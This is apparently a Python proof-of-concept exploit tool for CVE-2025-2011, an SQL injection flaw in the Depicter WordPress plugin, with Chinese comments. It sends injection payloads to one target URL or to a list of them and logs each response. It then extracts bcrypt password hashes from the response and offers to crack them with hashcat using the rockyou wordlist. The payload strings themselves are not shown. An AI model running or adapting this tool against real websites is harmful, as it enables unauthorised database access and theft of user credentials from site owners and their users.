CVE-2025-2011 漏洞利用工具：Depicter插件SQL注入检测与利用

def main():
    print(BANNER) # 打印工具横幅
    parser = argparse.ArgumentParser(
        description=f"{Fore.CYAN}CVE-2025-2011 PoC by X3RX3S / Double Payload")
    # 创建互斥参数组，确保用户只能指定URL或文件中的一种
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-u', '--url', help='Target URL')
    group.add_argument('-f', '--file', help='File with list of target URLs (one per line)')
    # 添加Payload选择参数，默认为‘1’
    parser.add_argument('-p', '--payload', choices=['1', '2'], default='1',
                        help='Payload to use: 1 or 2 (default: 1)')
    args = parser.parse_args() # 解析命令行参数

    # 处理单个URL目标
    if args.url:
        test_sqli(args.url, args.payload)
    # 处理包含多个URL的文件
    if args.file:
        try:
            with open(args.file, 'r') as f:
                urls = [line.strip() for line in f if line.strip()]
                for url in urls:
                    test_sqli(url, args.payload)
        except FileNotFoundError:
            print(f"{Fore.RED}[-] Could not find file: {args.file}")
    print(f"\n{Fore.GREEN}[+] Done! Stay patched, stay safe!")

if __name__ == "__main__":
    main()

def test_sqli(url, payload_choice):
    global spinner_running
    # 从URL中提取主机名，用于命名结果文件
    hostname = urlparse(url).hostname or 'unknown_host'
    log_file = f"results_{hostname}.txt"
    # 根据用户选择获取对应的Payload
    payload = PAYLOADS[payload_choice]
    # 构造完整的漏洞利用URL
    full_url = url.rstrip("/") + payload
    print(f"{Fore.YELLOW}\n[+] Target: {Fore.CYAN}{full_url}")

    # 启动一个线程显示加载动画
    spinner_running = True
    t = threading.Thread(target=spinner)
    t.start()

    try:
        # 发送HTTP GET请求，超时时间设置为10秒
        response = requests.get(full_url, timeout=10)
    except requests.RequestException as e:
        spinner_running = False
        t.join()
        print(f"{Fore.RED}\n[-] Request failed for {url}: {e}")
        return

    # 停止加载动画线程
    spinner_running = False
    t.join()

    # 输出请求结果
    print(f"\n{Fore.GREEN}[+] Status: {response.status_code}")
    snippet = response.text[:500]
    print(f"{Fore.MAGENTA}[+] Response snippet:\n{Style.RESET_ALL}{snippet}")

    # 将测试详情写入日志文件
    with open(log_file, 'w') as f:
        f.write(f"URL: {full_url}\n")
        f.write(f"Status: {response.status_code}\n")
        f.write("Response snippet:\n")
        f.write(snippet + "\n")
    print(f"{Fore.CYAN}[+] Results saved to {log_file}")

    # 从响应文本中提取bcrypt哈希
    hashes = extract_hashes(response.text)
    if hashes:
        print(f"{Fore.GREEN}[+] Found possible bcrypt hashes: {hashes}")
        # 询问用户是否要进行密码破解
        choice = input(f"{Fore.YELLOW}[?] Crack with Hashcat? (Y/N): ").strip().lower()
        if choice == 'y':
            run_hashcat(hashes)
        else:
            print(f"{Fore.CYAN}[+] Skipped Hashcat cracking.")
    else:
        print(f"{Fore.RED}[-] No bcrypt hashes detected in response.")

def run_hashcat(hashes):
    # 将所有找到的哈希写入临时文件`hashes.txt`
    with open('hashes.txt', 'w') as f:
        for h in hashes:
            f.write(h + '\n')
    print(f"{Fore.CYAN}[+] Saved hashes to hashes.txt")
    print(f"{Fore.YELLOW}[~] Running Hashcat with rockyou.txt for bcrypt (mode 3200)")

    # 构建Hashcat命令
    # -m 3200 指定破解模式为bcrypt
    cmd = ['hashcat', '-m', '3200', 'hashes.txt', '/usr/share/wordlists/rockyou.txt']
    try:
        # 执行Hashcat命令
        subprocess.run(cmd)
    except FileNotFoundError:
        # 处理Hashcat未安装或找不到的情况
        print(f"{Fore.RED}[-] Hashcat not found or not installed!")